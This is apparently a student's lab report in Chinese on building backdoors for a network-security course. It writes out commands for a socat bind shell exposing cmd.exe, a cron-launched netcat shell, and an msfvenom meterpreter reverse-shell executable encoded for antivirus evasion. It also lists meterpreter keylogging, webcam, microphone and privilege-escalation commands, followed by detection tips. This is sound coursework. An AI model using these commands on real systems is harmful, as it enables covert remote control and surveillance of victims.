20155204 王昊《网络对抗技术》EXP2 后门原理与实践
一、实验内容
准备工作(试用ncat、socat)
1. 使用netcat获取主机操作Shell,cron启动。
- 明确目标:要利用crontab命令从Windows获得linux的shell。
- 在Windows下监听自定端口。
- 用man命令查询crontab命令用法
- 使用
crontab -e
指令编辑定时任务。(前面的数字是你想要让他在每个小时的某分钟运行) - 等到自己设定的分钟数后,得到了linux的shell。
2. 使用socat获取主机操作Shell, 任务计划启动。
- Windows下搜索任务计划工具,打开后创建任务(自定义名称),然后新建触发器。
- 程序和脚本选择socat.exe路径,添加参数要写
tcp-listen:5204 exec:cmd.exe,pty,stderr
,用来将cmd.exe绑定到端口5204,同时把cmd.exe的stderr重定向到stdout上。 - 创建完成后,再次进入系统(可以通过锁定计算机来完成),发现任务已经在运行。
- 在linux环境下输入指令socat - tcp:172.30.4.71:5204,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5204端口
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 选用难一点的指令
msfvenom -p windows/meterpreter/reverse_tcp -x ./20155204.exe -e x86/shikata_ga_nai -i 5 -b ‘\\x00’ LHOST=1 LPORT=5204 -f exe > 20155204_backdoor.exe
- 参数说明:
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件
-
生成后门程序后,可以通过nc传到Windows下,利用vmware的增强功能可以直接把文件拖过去(此过程杀毒软件会报警,关掉它或者忽略)
-
在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口。
-
这里一定注意理解反弹端口的意义,以及LHOST的意义,不要像我一样,把LHOST一直设成了被攻击主机的IP。。。(下面这个是错误图片)
-
设置好后可以开始监听,用
exploit
-
在Windows里双击运行后门程序
-
linux便获得了远程控制的shell
4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用record_mic指令可以截获一段音频。
- 使用webcam_snap指令可以使用摄像头进行拍照。
- 使用webcam_stream指令可以使用摄像头进行录像。
- 使用screenshot指令可以进行截屏。
- 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录。
- 先使用getuid指令查看当前用户,使用getsystem指令进行提权。(这里提一下,我周围用win7虚拟机的同学好像都会出错,但是我用的是PC本身的系统,直接就好了。同学的问题我也不会解决。。)
二、基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 答:在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的原代码并修改,使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的, 所以入侵者可以登录获取shell却不会暴露该帐号。
- 例举你知道的后门如何启动起来(win及linux)的方式?
- 答:1.操作系统自带服务; 2.网络协议捆绑; 3.软件编写者制作; 4.漏洞攻击后放置; 5.社会工程学等相关方式。
- Meterpreter有哪些给你映像深刻的功能?
- 答:录屏、录按键、提升权限都很强, 这种功能一旦落入坏人手里就很危险了。。。
- 如何发现自己有系统有没有被安装后门?
- 答:
- 检测网络连接,可以使用Windows自带的网络命令来看看谁在连接你的计算机。具体的命令格式是:netstat -an 这个命令能看到所有和本地计算机建立连接的IP,它包含四个部分——proto(连接方式)、local address(本地连接地址)、foreign address(和本地建立连接的地址)、state(当前端口状态)。通过这个命令的详细信息,我们就可以完全监控计算机上的连接,从而达到控制计算机的目的。
2.检查账户,先在命令行下输入net user,查看计算机上有些什么用户,然后再使用“net user+用户名”查看这个用户是属于什么权限的,一般除了Administrator是administrators组的,其他都不是!如果你发现一个系统内置的用户是属于administrators组的,那几乎肯定你被入侵了,而且别人在你的计算机上克隆了账户。
三、实验总结与体会
这次实验让我感受到了自己系统的安全性,在黑客面前就想他们口中的肉鸡一样,这让我更加认识到了信息安全的重要性。